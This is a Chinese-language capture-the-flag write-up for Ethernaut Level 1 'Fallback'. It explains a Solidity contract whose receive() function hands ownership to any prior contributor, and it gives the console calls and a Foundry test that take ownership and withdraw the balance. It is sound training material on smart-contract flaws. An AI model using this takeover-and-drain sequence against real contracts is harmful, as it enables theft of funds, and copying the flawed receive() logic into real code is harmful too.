# Ethernaut CTF Level 1 - Fallback
[toc]
## 題目
仔細看下面的合約程式碼。
要通過這關你需要
- 獲得這個合約的所有權
- 把合約的餘額歸零
可能會有用的資訊
- 如何透過與 ABI 互動發送 ether
- 如何在 ABI 之外發送 ether
- 轉換 wei/ether 單位 (參見 help() 指令)
- fallback 方法
<br>
## 分析
來看一下合約,可以發現最終目標 `withdraw()`有 `onlyOwner()` modifier保護住
```solidity=
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Fallback {
mapping(address => uint) public contributions;
address public owner;
constructor() {
owner = msg.sender;
contributions[msg.sender] = 1000 * (1 ether);
}
modifier onlyOwner {
require(
msg.sender == owner,
"caller is not the owner"
);
_;
}
function contribute() public payable {
require(msg.value < 0.001 ether);
contributions[msg.sender] += msg.value;
if(contributions[msg.sender] > contributions[owner]) {
owner = msg.sender;
}
}
function getContribution() public view returns (uint) {
return contributions[msg.sender];
}
function withdraw() public onlyOwner {
payable(owner).transfer(address(this).balance);
}
receive() external payable {
require(msg.value > 0 && contributions[msg.sender] > 0);
owner = msg.sender;
}
}
```
<br>
在執行`withdraw()`之前,要先通過`onlyOwner()`的檢查
- 在這邊 `msg.sender` (傳送交易的人) 需要等於預定義的 `owner`
- `owner`在deploy contract時透過一次性`constructor` function定義好
- 所以這邊的owner一開始會是 deploy contract 的address
```solidity=
modifier onlyOwner {
require(
msg.sender == owner,
"caller is not the owner"
);
_;
}
```
<br>
不過,在code之中看到了一絲希望
- receive function是solidity的特殊function
- 呼叫時,如果智能合約中沒有相對應的function + transaction中的calldata為空時會觸發
> The receive function is executed on a call to the contract with empty calldata.
> https://docs.soliditylang.org/en/v0.8.1/contracts.html#receive-ether-function
- 通過Check之後可以更改`owner`
```solidity=
receive() external payable {
require(msg.value > 0 && contributions[msg.sender] > 0);
owner = msg.sender;
}
```
所以攻擊思路出現了
- 呼叫`contribute()`讓 `contributions[msg.sender] > 0`
- 呼叫 `receive()`, update owner
- 呼叫`withdrawal()`
<br>
## 攻擊
用以下格式,傳送`msg.value`要求
```solidity=
await contract.contribute({value: toWei("0.000001")})
```
檢查目前的owner,並且發送`sendTransaction()`以此觸發`receive()`
```solidity=
await contract.owner()
await contract.sendTransaction({value: toWei("0.0001")})
```
重新檢查owner可以發現已經被update了,
```solidity=
await contract.owner()
```

最後呼叫`withdraw()`
確保合約的balance已經被提款出來,提交結束這關
```solidity=
await contract.withdraw()
await getBalance(instance)
```
<br>
## Foundry Test
```solidity=
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;
import "ds-test/test.sol";
import "forge-std/Vm.sol";
import "../src/levels/01-Fallback/Fallback.sol"; // test/Billy/ folder
contract ContractTest2 is DSTest {
Fallback level1 =
Fallback(payable(0x96eC1951dF41aEbDBD90deB81A6Bae2d828Be4a1));
function setUp() public {
Vm vm = Vm(address(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D));
vm.createSelectFork(vm.rpcUrl("sepolia"));
vm.label(address(this), "Attacker");
vm.label(
address(0x96eC1951dF41aEbDBD90deB81A6Bae2d828Be4a1),
"Ethernaut01"
);
}
function testEthernaut01() public {
level1.owner();
level1.contribute{value: 1 wei}();
level1.getContribution();
address(level1).call{value: 1 wei}("");
assert(address(this) == level1.owner()); // Attacker
level1.withdraw();
}
receive() external payable {}
}
```
<br>